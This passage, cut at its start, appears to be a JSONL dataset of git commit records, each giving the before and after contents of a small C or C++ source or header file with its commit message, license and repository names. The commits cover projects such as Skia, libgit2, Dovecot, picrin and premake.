polar::math::TWO_PI \/ WaveShape::size);\n\t\twaveShape.table[i] =\n\t\t    static_cast<int16_t>((sample + 1) * 32767.0 - 32768.0);\n\t}\n\treturn waveShape;\n}\n\ninline WaveShape MkSquareWaveShape() {\n\tWaveShape waveShape;\n\tfor(unsigned int i = 0; i < WaveShape::size; ++i) {\n\t\tdouble sample = i * 2 < WaveShape::size ? 1.0 : -1.0;\n\t\twaveShape.table[i] =\n\t\t    static_cast<int16_t>((sample + 1) * 32767.0 - 32768.0);\n\t}\n\treturn waveShape;\n}\n","subject":"Use TWO_PI constant instead of literal","message":"Use TWO_PI constant instead of literal\n","lang":"C","license":"mpl-2.0","repos":"shockkolate\/polar4,polar-engine\/polar,polar-engine\/polar,shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4"}
{"commit":"faec0b3de34380c9d15033ef8e2d4b62dc2a3691","old_file":"cbits\/hdbc-odbc-helper.c","new_file":"cbits\/hdbc-odbc-helper.c","old_contents":"#include \"hdbc-odbc-helper.h\"\n#include <sqlext.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nSQLLEN nullDataHDBC = SQL_NULL_DATA;\n\nint sqlSucceeded(SQLRETURN ret) {\n  return SQL_SUCCEEDED(ret);\n}\n\nvoid *getSqlOvOdbc3(void) {\n  return (void *)SQL_OV_ODBC3;\n}\n\nSQLRETURN simpleSqlTables(SQLHSTMT stmt) {\n  return SQLTables(stmt, NULL, 0, NULL, 0, \"%\", 1, \"TABLE\", 5);\n}\n\nSQLRETURN simpleSqlColumns(SQLHSTMT stmt, SQLCHAR *tablename,\n                           SQLSMALLINT tnlen) {\n  return SQLColumns(stmt, NULL, 0, NULL, 0, tablename, tnlen, \"%\", 1);\n}\n","new_contents":"#include \"hdbc-odbc-helper.h\"\n#include <sqlext.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nSQLLEN nullDataHDBC = SQL_NULL_DATA;\n\nint sqlSucceeded(SQLRETURN ret) {\n  return SQL_SUCCEEDED(ret);\n}\n\nvoid *getSqlOvOdbc3(void) {\n  return (void *)SQL_OV_ODBC3;\n}\n\nSQLRETURN simpleSqlTables(SQLHSTMT stmt) {\n  return SQLTables(stmt, NULL, 0, NULL, 0, (SQLCHAR *)\"%\", 1, (SQLCHAR *)\"TABLE\", 5);\n}\n\nSQLRETURN simpleSqlColumns(SQLHSTMT stmt, SQLCHAR *tablename,\n                           SQLSMALLINT tnlen) {\n  return SQLColumns(stmt, NULL, 0, NULL, 0, tablename, tnlen, (SQLCHAR *)\"%\", 1);\n}\n","subject":"Add explicit cast from (const char []) to (SQLCHAR *)","message":"Add explicit cast from (const char []) to (SQLCHAR *)\n","lang":"C","license":"bsd-3-clause","repos":"hdbc\/hdbc-odbc"}
{"commit":"4263a8238353aeef9721f826c5b6c55d81ddca1f","old_file":"src\/shacpuid.c","new_file":"src\/shacpuid.c","old_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of SHA instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#ifndef SILENT\n#include <stdio.h>\n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include <cpuid.h>\nstatic int CheckCPUsupportSHA()\n{\n    unsigned int CPUInfo[4];\n    __cpuid_count(7, 0, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n    return CPUInfo[1] & (1 << 29); \/* Check SHA *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportSHA()\n{\n    unsigned int CPUInfo[4];\n    __cpuidex(CPUInfo, 7, 0);\n    return CPUInfo[1] & (1 << 29); \/* Check SHA *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n    const int res = !CheckCPUsupportSHA();\n#ifndef SILENT\n    printf(\"This CPU %s SHA-NI\\n\", res ? \"does not support\" : \"supports\");\n#endif\n    return res;\n}\n","new_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of SHA instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#ifndef SILENT\n#include <stdio.h>\n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include <cpuid.h>\nstatic int CheckCPUsupportSHA()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(0, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n    if (CPUInfo[0] < 7)\n        return 0;\n\n    __cpuid_count(7, 0, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n    return CPUInfo[1] & (1 << 29); \/* Check SHA *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportSHA()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(CPUInfo, 0);\n    if (CPUInfo[0] < 7)\n        return 0;\n\n    __cpuidex(CPUInfo, 7, 0);\n    return CPUInfo[1] & (1 << 29); \/* Check SHA *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n    const int res = !CheckCPUsupportSHA();\n#ifndef SILENT\n    printf(\"This CPU %s SHA-NI\\n\", res ? \"does not support\" : \"supports\");\n#endif\n    return res;\n}\n","subject":"Add leaf checks to SHA CPUID checks","message":"Add leaf checks to SHA CPUID checks\n","lang":"C","license":"mit","repos":"pavelkryukov\/putty-aes-ni,pavelkryukov\/putty-aes-ni"}
{"commit":"9be7ffc5fc9e54253f2b82ff6ff4c68ea816dd88","old_file":"include\/picrin\/gc.h","new_file":"include\/picrin\/gc.h","old_contents":"\/**\n * See Copyright Notice in picrin.h\n *\/\n\n#ifndef GC_H__\n#define GC_H__\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nenum pic_gc_mark {\n  PIC_GC_UNMARK = 0,\n  PIC_GC_MARK\n};\n\nunion header {\n  struct {\n    union header *ptr;\n    size_t size;\n    enum pic_gc_mark mark : 1;\n  } s;\n  long alignment[2];\n};\n\nstruct heap_page {\n  union header *basep, *endp;\n  struct heap_page *next;\n};\n\nstruct pic_heap {\n  union header base, *freep;\n  struct heap_page *pages;\n};\n\nvoid init_heap(struct pic_heap *);\nvoid finalize_heap(struct pic_heap *);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"\/**\n * See Copyright Notice in picrin.h\n *\/\n\n#ifndef GC_H__\n#define GC_H__\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#define PIC_GC_UNMARK 0\n#define PIC_GC_MARK 1\n\nunion header {\n  struct {\n    union header *ptr;\n    size_t size;\n    unsigned int mark : 1;\n  } s;\n  long alignment[2];\n};\n\nstruct heap_page {\n  union header *basep, *endp;\n  struct heap_page *next;\n};\n\nstruct pic_heap {\n  union header base, *freep;\n  struct heap_page *pages;\n};\n\nvoid init_heap(struct pic_heap *);\nvoid finalize_heap(struct pic_heap *);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Define the type of marking flags as unsigned int.","message":"Define the type of marking flags as unsigned int.\n\nWe could define it as _Bool since we are going to use C99, but unsigned\nint is more portable (even in C89!) and extensible (when we decide to\nuse tri-color marking GC.)\n\nSigned-off-by: OGINO Masanori <c49462fef669560e618607913e6c283f7627123c@gmail.com>\n","lang":"C","license":"mit","repos":"dcurrie\/picrin,leavesbnw\/picrin,omasanori\/picrin,picrin-scheme\/picrin,koba-e964\/picrin,ktakashi\/picrin,omasanori\/picrin,picrin-scheme\/picrin,koba-e964\/picrin,dcurrie\/picrin,koba-e964\/picrin,leavesbnw\/picrin,leavesbnw\/picrin,ktakashi\/picrin,ktakashi\/picrin"}
{"commit":"298143ebdfd55f83c7493760bf3d844a4ac8325a","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 63\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 64\n#endif\n","subject":"Update Skia milestone to 64","message":"Update Skia milestone to 64\n\nBug: skia:\nChange-Id: I381323606f92a5388b3fd76c232e35c492a23dc4\nReviewed-on: https:\/\/skia-review.googlesource.com\/58840\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia"}
{"commit":"deac801de98be4974cfe806eb4bc072f34f81cc5","old_file":"include\/git2\/checkout.h","new_file":"include\/git2\/checkout.h","old_contents":"\/*\n * Copyright (C) 2012 the libgit2 contributors\n *\n * This file is part of libgit2, distributed under the GNU GPL v2 with\n * a Linking Exception. For full terms see the included COPYING file.\n *\/\n#ifndef INCLUDE_git_checkout_h__\n#define INCLUDE_git_checkout_h__\n\n#include \"common.h\"\n#include \"types.h\"\n#include \"indexer.h\"\n\n\n\/**\n * @file git2\/checkout.h\n * @brief Git checkout routines\n * @defgroup git_checkout Git checkout routines\n * @ingroup Git\n * @{\n *\/\nGIT_BEGIN_DECL\n\n\/**\n * Updates files in the working tree to match the version in the index\n * or HEAD.\n *\n * @param repo repository to check out (must be non-bare)\n * @param origin_url repository to clone from\n * @param workdir_path local directory to clone to\n * @param stats pointer to structure that receives progress information (may be NULL)\n * @return 0 on success, GIT_ERROR otherwise (use git_error_last for information about the error)\n *\/\nGIT_EXTERN(int) git_checkout_force(git_repository *repo, git_indexer_stats *stats);\n\n\/** @} *\/\nGIT_END_DECL\n#endif\n","new_contents":"\/*\n * Copyright (C) 2012 the libgit2 contributors\n *\n * This file is part of libgit2, distributed under the GNU GPL v2 with\n * a Linking Exception. For full terms see the included COPYING file.\n *\/\n#ifndef INCLUDE_git_checkout_h__\n#define INCLUDE_git_checkout_h__\n\n#include \"common.h\"\n#include \"types.h\"\n#include \"indexer.h\"\n\n\n\/**\n * @file git2\/checkout.h\n * @brief Git checkout routines\n * @defgroup git_checkout Git checkout routines\n * @ingroup Git\n * @{\n *\/\nGIT_BEGIN_DECL\n\n\/**\n * Updates files in the working tree to match the version in the index.\n *\n * @param repo repository to check out (must be non-bare)\n * @param stats pointer to structure that receives progress information (may be NULL)\n * @return 0 on success, GIT_ERROR otherwise (use git_error_last for information about the error)\n *\/\nGIT_EXTERN(int) git_checkout_force(git_repository *repo, git_indexer_stats *stats);\n\n\/** @} *\/\nGIT_END_DECL\n#endif\n","subject":"Fix documentation comment to match actual params.","message":"Fix documentation comment to match actual params.","lang":"C","license":"lgpl-2.1","repos":"jeffhostetler\/public_libgit2,kenprice\/libgit2,raybrad\/libit2,mrksrm\/Mingijura,Snazz2001\/libgit2,Tousiph\/Demo1,magnus98\/TEST,claudelee\/libgit2,Aorjoa\/libgit2_maked_lib,nokiddin\/libgit2,claudelee\/libgit2,chiayolin\/libgit2,rcorre\/libgit2,yosefhackmon\/libgit2,linquize\/libgit2,sygool\/libgit2,ardumont\/libgit2,jflesch\/libgit2-mariadb,yosefhackmon\/libgit2,Tousiph\/Demo1,claudelee\/libgit2,kenprice\/libgit2,skabel\/manguse,KTXSoftware\/libgit2,yosefhackmon\/libgit2,mingyaaaa\/libgit2,dleehr\/libgit2,claudelee\/libgit2,maxiaoqian\/libgit2,spraints\/libgit2,stewid\/libgit2,maxiaoqian\/libgit2,iankronquist\/libgit2,oaastest\/libgit2,kissthink\/libgit2,yongthecoder\/libgit2,sygool\/libgit2,mcanthony\/libgit2,jeffhostetler\/public_libgit2,sygool\/libgit2,linquize\/libgit2,ardumont\/libgit2,swisspol\/DEMO-libgit2,KTXSoftware\/libgit2,swisspol\/DEMO-libgit2,saurabhsuniljain\/libgit2,stewid\/libgit2,KTXSoftware\/libgit2,mrksrm\/Mingijura,leoyanggit\/libgit2,jflesch\/libgit2-mariadb,mcanthony\/libgit2,jeffhostetler\/public_libgit2,since2014\/libgit2,magnus98\/TEST,skabel\/manguse,mcanthony\/libgit2,iankronquist\/libgit2,sygool\/libgit2,whoisj\/libgit2,linquize\/libgit2,JIghtuse\/libgit2,oaastest\/libgit2,jamieleecool\/ptest,magnus98\/TEST,Snazz2001\/libgit2,nacho\/libgit2,dleehr\/libgit2,whoisj\/libgit2,jflesch\/libgit2-mariadb,iankronquist\/libgit2,amyvmiwei\/libgit2,Snazz2001\/libgit2,sim0629\/libgit2,iankronquist\/libgit2,saurabhsuniljain\/libgit2,Snazz2001\/libgit2,magnus98\/TEST,falqas\/libgit2,skabel\/manguse,oaastest\/libgit2,MrHacky\/libgit2,amyvmiwei\/libgit2,evhan\/libgit2,jamieleecool\/ptest,kissthink\/libgit2,zodiac\/libgit2.js,maxiaoqian\/libgit2,maxiaoqian\/libgit2,linquize\/libgit2,yongthecoder\/libgit2,joshtriplett\/libgit2,saurabhsuniljain\/libgit2,amyvmiwei\/libgit2,maxiaoqian\/libgit2,maxiaoqian\/libgit2,swisspol\/DEMO-libgit2,Aorjoa\/libgit2_maked_lib,leoyanggit\/libgit2,iankronquist\/libgit2,since2014\/libgit2,t0xicCode\/libgit2,t0xicCode\/libgit2,evhan\/libgit2,KTXSoftware\/libgit2,jeffhostetler\/public_libgit2,whoisj\/libgit2,chiayolin\/libgit2,Tousiph\/Demo1,mhp\/libgit2,saurabhsuniljain\/libgit2,zodiac\/libgit2.js,raybrad\/libit2,JIghtuse\/libgit2,Aorjoa\/libgit2_maked_lib,sim0629\/libgit2,Aorjoa\/libgit2_maked_lib,since2014\/libgit2,spraints\/libgit2,Corillian\/libgit2,mhp\/libgit2,nokiddin\/libgit2,zodiac\/libgit2.js,saurabhsuniljain\/libgit2,Snazz2001\/libgit2,swisspol\/DEMO-libgit2,leoyanggit\/libgit2,mrksrm\/Mingijura,rcorre\/libgit2,leoyanggit\/libgit2,sygool\/libgit2,zodiac\/libgit2.js,skabel\/manguse,whoisj\/libgit2,ardumont\/libgit2,ardumont\/libgit2,leoyanggit\/libgit2,t0xicCode\/libgit2,MrHacky\/libgit2,dleehr\/libgit2,spraints\/libgit2,nokiddin\/libgit2,yosefhackmon\/libgit2,mhp\/libgit2,nacho\/libgit2,evhan\/libgit2,linquize\/libgit2,chiayolin\/libgit2,JIghtuse\/libgit2,claudelee\/libgit2,t0xicCode\/libgit2,MrHacky\/libgit2,Corillian\/libgit2,mcanthony\/libgit2,nokiddin\/libgit2,kissthink\/libgit2,whoisj\/libgit2,spraints\/libgit2,jamieleecool\/ptest,falqas\/libgit2,kissthink\/libgit2,chiayolin\/libgit2,stewid\/libgit2,rcorre\/libgit2,oaastest\/libgit2,t0xicCode\/libgit2,mrksrm\/Mingijura,falqas\/libgit2,joshtriplett\/libgit2,falqas\/libgit2,Tousiph\/Demo1,skabel\/manguse,nacho\/libgit2,mcanthony\/libgit2,stewid\/libgit2,chiayolin\/libgit2,jflesch\/libgit2-mariadb,mingyaaaa\/libgit2,rcorre\/libgit2,claudelee\/libgit2,kenprice\/libgit2,Snazz2001\/libgit2,Tousiph\/Demo1,nokiddin\/libgit2,sim0629\/libgit2,chiayolin\/libgit2,kenprice\/libgit2,dleehr\/libgit2,yongthecoder\/libgit2,raybrad\/libit2,mingyaaaa\/libgit2,MrHacky\/libgit2,dleehr\/libgit2,joshtriplett\/libgit2,sim0629\/libgit2,Corillian\/libgit2,Aorjoa\/libgit2_maked_lib,mingyaaaa\/libgit2,iankronquist\/libgit2,nacho\/libgit2,joshtriplett\/libgit2,sygool\/libgit2,spraints\/libgit2,mingyaaaa\/libgit2,sim0629\/libgit2,swisspol\/DEMO-libgit2,rcorre\/libgit2,KTXSoftware\/libgit2,skabel\/manguse,MrHacky\/libgit2,jeffhostetler\/public_libgit2,evhan\/libgit2,stewid\/libgit2,raybrad\/libit2,kenprice\/libgit2,since2014\/libgit2,kissthink\/libgit2,mcanthony\/libgit2,Corillian\/libgit2,mingyaaaa\/libgit2,JIghtuse\/libgit2,yongthecoder\/libgit2,raybrad\/libit2,ardumont\/libgit2,zodiac\/libgit2.js,joshtriplett\/libgit2,jflesch\/libgit2-mariadb,oaastest\/libgit2,JIghtuse\/libgit2,joshtriplett\/libgit2,yosefhackmon\/libgit2,saurabhsuniljain\/libgit2,KTXSoftware\/libgit2,swisspol\/DEMO-libgit2,mrksrm\/Mingijura,rcorre\/libgit2,amyvmiwei\/libgit2,t0xicCode\/libgit2,falqas\/libgit2,since2014\/libgit2,jflesch\/libgit2-mariadb,mrksrm\/Mingijura,yosefhackmon\/libgit2,Corillian\/libgit2,linquize\/libgit2,mhp\/libgit2,JIghtuse\/libgit2,magnus98\/TEST,mhp\/libgit2,yongthecoder\/libgit2,Corillian\/libgit2,ardumont\/libgit2,amyvmiwei\/libgit2,Tousiph\/Demo1,stewid\/libgit2,magnus98\/TEST,mhp\/libgit2,MrHacky\/libgit2,leoyanggit\/libgit2,jamieleecool\/ptest,spraints\/libgit2,since2014\/libgit2,kissthink\/libgit2,nokiddin\/libgit2,jeffhostetler\/public_libgit2,dleehr\/libgit2,amyvmiwei\/libgit2,oaastest\/libgit2,whoisj\/libgit2,kenprice\/libgit2,yongthecoder\/libgit2,sim0629\/libgit2,falqas\/libgit2"}
{"commit":"3ad1e0624ea2b38329fb3e2ff0ddaaeec89d13a7","old_file":"SocketIOJSONSerialization.h","new_file":"SocketIOJSONSerialization.h","old_contents":"\/\/\n\/\/  SocketIOJSONSerialization.h\n\/\/  v0.22 ARC\n\/\/\n\/\/  based on\n\/\/  socketio-cocoa https:\/\/github.com\/fpotter\/socketio-cocoa\n\/\/  by Fred Potter <fpotter@pieceable.com>\n\/\/\n\/\/  using\n\/\/  https:\/\/github.com\/square\/SocketRocket\n\/\/  https:\/\/github.com\/stig\/json-framework\/\n\/\/\n\/\/  reusing some parts of\n\/\/  \/socket.io\/socket.io.js\n\/\/\n\/\/  Created by Philipp Kyeck http:\/\/beta-interactive.de\n\/\/\n\/\/  Updated by\n\/\/    samlown   https:\/\/github.com\/samlown\n\/\/    kayleg    https:\/\/github.com\/kayleg\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SocketIOJSONSerialization\n\n+ (id) objectFromJSONData:(NSData *)data error:(NSError **)error;\n+ (NSString *) JSONStringFromObject:(id)object error:(NSError **)error;\n\n@end\n","new_contents":"\/\/\n\/\/  SocketIOJSONSerialization.h\n\/\/  v0.22 ARC\n\/\/\n\/\/  based on\n\/\/  socketio-cocoa https:\/\/github.com\/fpotter\/socketio-cocoa\n\/\/  by Fred Potter <fpotter@pieceable.com>\n\/\/\n\/\/  using\n\/\/  https:\/\/github.com\/square\/SocketRocket\n\/\/  https:\/\/github.com\/stig\/json-framework\/\n\/\/\n\/\/  reusing some parts of\n\/\/  \/socket.io\/socket.io.js\n\/\/\n\/\/  Created by Philipp Kyeck http:\/\/beta-interactive.de\n\/\/\n\/\/  Updated by\n\/\/    samlown   https:\/\/github.com\/samlown\n\/\/    kayleg    https:\/\/github.com\/kayleg\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SocketIOJSONSerialization : NSObject\n\n+ (id) objectFromJSONData:(NSData *)data error:(NSError **)error;\n+ (NSString *) JSONStringFromObject:(id)object error:(NSError **)error;\n\n@end\n","subject":"Fix for totally bogus interface declaration","message":"Fix for totally bogus interface declaration\n\nIn my rush to refactor JSON serialization, I made a new class that doesn't inherit from NSObject.  Why this\nis a) allowed, b) doesn't result in epic failure on OS X is beyond me.\n","lang":"C","license":"mit","repos":"diy\/socket.IO-objc,wait10000y\/socket.IO-objc,francoisp\/socket.IO-objc,vgmoose\/ProxiChat"}
{"commit":"ba649056cf506b2b6e80f58f0b71d32468f85d34","old_file":"src\/host\/os_rmdir.c","new_file":"src\/host\/os_rmdir.c","old_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = rmdir(path);\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","new_contents":"\/**\n * \\file   os_rmdir.c\n * \\brief  Remove a subdirectory.\n * \\author Copyright (c) 2002-2013 Jason Perkins and the Premake project\n *\/\n\n#include <stdlib.h>\n#include \"premake.h\"\n\n\nint os_rmdir(lua_State* L)\n{\n\tint z;\n\tconst char* path = luaL_checkstring(L, 1);\n\n#if PLATFORM_WINDOWS\n\tz = RemoveDirectory(path);\n#else\n\tz = (0 == rmdir(path));\n#endif\n\n\tif (!z)\n\t{\n\t\tlua_pushnil(L);\n\t\tlua_pushfstring(L, \"unable to remove directory '%s'\", path);\n\t\treturn 2;\n\t}\n\telse\n\t{\n\t\tlua_pushboolean(L, 1);\n\t\treturn 1;\n\t}\n}\n","subject":"Fix error result handling in os.rmdir()","message":"Fix error result handling in os.rmdir()\n","lang":"C","license":"bsd-3-clause","repos":"dimitarcl\/premake-dev,dimitarcl\/premake-dev,dimitarcl\/premake-dev"}
{"commit":"54d49c21102d0a37d72b795be125640b8ab3d4b4","old_file":"includes\/linux\/InotifyService.h","new_file":"includes\/linux\/InotifyService.h","old_contents":"#ifndef INOTIFY_EVENT_HANDLER_H\n#define INOTIFY_EVENT_HANDLER_H\n\n#include \"InotifyEventLoop.h\"\n#include \"InotifyTree.h\"\n#include <queue>\n#include <map>\n#include <iostream>\n\nclass InotifyEventLoop;\nclass InotifyTree;\n\nclass InotifyService {\npublic:\n  InotifyService(std::string path);\n  ~InotifyService();\n\n  void create(int wd, std::string name);\n  void createDirectory(int wd, std::string name);\n  void modify(int wd, std::string name);\n  void remove(int wd, std::string name);\n  void removeDirectory(int wd);\n  void rename(int wd, std::string oldName, std::string newName);\n  void renameDirectory(int wd, std::string oldName, std::string newName);\nprivate:\n  void createDirectoryTree(std::string directoryTreePath);\n\n  InotifyEventLoop *mEventLoop;\n  InotifyTree *mTree;\n  int mInotifyInstance;\n  int mAttributes;\n};\n\n#endif\n","new_contents":"#ifndef INOTIFY_EVENT_HANDLER_H\n#define INOTIFY_EVENT_HANDLER_H\n\n#include \"InotifyEventLoop.h\"\n#include \"InotifyTree.h\"\n#include <queue>\n#include <map>\n#include <iostream>\n\nclass InotifyEventLoop;\nclass InotifyTree;\n\nclass InotifyService {\npublic:\n  InotifyService(std::string path);\n  ~InotifyService();\n\nprivate:\n  void create(int wd, std::string name);\n  void createDirectory(int wd, std::string name);\n  void createDirectoryTree(std::string directoryTreePath);\n  void modify(int wd, std::string name);\n  void remove(int wd, std::string name);\n  void removeDirectory(int wd);\n  void rename(int wd, std::string oldName, std::string newName);\n  void renameDirectory(int wd, std::string oldName, std::string newName);\n\n  InotifyEventLoop *mEventLoop;\n  InotifyTree *mTree;\n  int mInotifyInstance;\n  int mAttributes;\n\n  friend class InotifyEventLoop;\n};\n\n#endif\n","subject":"Hide internal methods using friend class specifier","message":"Hide internal methods using friend class specifier\n\n","lang":"C","license":"mit","repos":"Axosoft\/node-sentinel-file-watcher,Axosoft\/nsfw,Axosoft\/nsfw,Axosoft\/nsfw,Axosoft\/node-sentinel-file-watcher,Axosoft\/node-sentinel-file-watcher,Axosoft\/node-sentinel-file-watcher"}
{"commit":"c5f51ac16b113923162c442e1234223ab528c7d4","old_file":"src\/include\/gnugol_engines.h","new_file":"src\/include\/gnugol_engines.h","old_contents":"#ifndef _gnugol_engines\n#define _gnugol_engines 1\n\n#ifdef DEBUG_SHAREDLIBS\n#  define GNUGOL_SHAREDLIBDIR \"..\/engines\"\n#else\n#  define GNUGOL_SHAREDLIBDIR \"\/var\/lib\/gnugol\"\n#endif\n\ntypedef struct ggengine\n{\n  Node         node;\n  void        *lib;\n  const char  *name;\n  int        (*setup) (QueryOptions_t *);\n  int        (*search)(QueryOptions_t *);\n} *GnuGolEngine;\n\nGnuGoldEngine\tgnugol_engine_load\t(const char *);\nint\t\tgnugol_engine_query\t(GnuGolEngine,QueryOptions_t *);\nvoid\t\tgnugol_engine_unload\t(GnuGolEngine);\nint\t\tgnugol_read_key\t\t(char *const,size_t *const,const char *const);\n\n#endif\n","new_contents":"#ifndef _gnugol_engines\n#define _gnugol_engines 1\n\n#include \"nodelist.h\"\n\n#ifdef DEBUG_SHAREDLIBS\n#  define GNUGOL_SHAREDLIBDIR \"..\/engines\"\n#else\n#  define GNUGOL_SHAREDLIBDIR \"\/var\/lib\/gnugol\"\n#endif\n\ntypedef struct ggengine\n{\n  Node         node;\n  void        *lib;\n  const char  *name;\n  int        (*setup) (QueryOptions_t *);\n  int        (*search)(QueryOptions_t *);\n} *GnuGolEngine;\n\nGnuGolEngine\tgnugol_engine_load\t(const char *);\nint\t\tgnugol_engine_query\t(GnuGolEngine,QueryOptions_t *);\nvoid\t\tgnugol_engine_unload\t(GnuGolEngine);\nint\t\tgnugol_read_key\t\t(char *const,size_t *const,const char *const);\n\n#endif\n","subject":"Include nodelist here, and fix a typo.","message":"Include nodelist here, and fix a typo.\n","lang":"C","license":"agpl-3.0","repos":"dtaht\/Gnugol,dtaht\/Gnugol,dtaht\/Gnugol,dtaht\/Gnugol"}
{"commit":"5eee834e48af66e851b8d5c96cf07e7b1ab214da","old_file":"src\/lib-dict\/dict-register.c","new_file":"src\/lib-dict\/dict-register.c","old_contents":"\/* Copyright (c) 2013-2015 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"dict-private.h\"\n\nvoid dict_drivers_register_builtin(void)\n{\n\tdict_driver_register(&dict_driver_client);\n\tdict_driver_register(&dict_driver_file);\n\tdict_driver_register(&dict_driver_fs);\n\tdict_driver_register(&dict_driver_memcached);\n\tdict_driver_register(&dict_driver_memcached_ascii);\n\tdict_driver_register(&dict_driver_redis);\n}\n\nvoid dict_drivers_unregister_builtin(void)\n{\n\tdict_driver_unregister(&dict_driver_client);\n\tdict_driver_unregister(&dict_driver_file);\n\tdict_driver_unregister(&dict_driver_fs);\n\tdict_driver_unregister(&dict_driver_memcached);\n\tdict_driver_unregister(&dict_driver_memcached_ascii);\n\tdict_driver_unregister(&dict_driver_redis);\n}\n","new_contents":"\/* Copyright (c) 2013-2015 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"dict-private.h\"\n\nstatic int refcount = 0;\n\nvoid dict_drivers_register_builtin(void)\n{\n\tif (refcount++ > 0)\n\t\treturn;\n\tdict_driver_register(&dict_driver_client);\n\tdict_driver_register(&dict_driver_file);\n\tdict_driver_register(&dict_driver_fs);\n\tdict_driver_register(&dict_driver_memcached);\n\tdict_driver_register(&dict_driver_memcached_ascii);\n\tdict_driver_register(&dict_driver_redis);\n}\n\nvoid dict_drivers_unregister_builtin(void)\n{\n\tif (--refcount > 0)\n\t\treturn;\n\tdict_driver_unregister(&dict_driver_client);\n\tdict_driver_unregister(&dict_driver_file);\n\tdict_driver_unregister(&dict_driver_fs);\n\tdict_driver_unregister(&dict_driver_memcached);\n\tdict_driver_unregister(&dict_driver_memcached_ascii);\n\tdict_driver_unregister(&dict_driver_redis);\n}\n","subject":"Allow registering builtin dict drivers multiple times.","message":"lib-dict: Allow registering builtin dict drivers multiple times.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
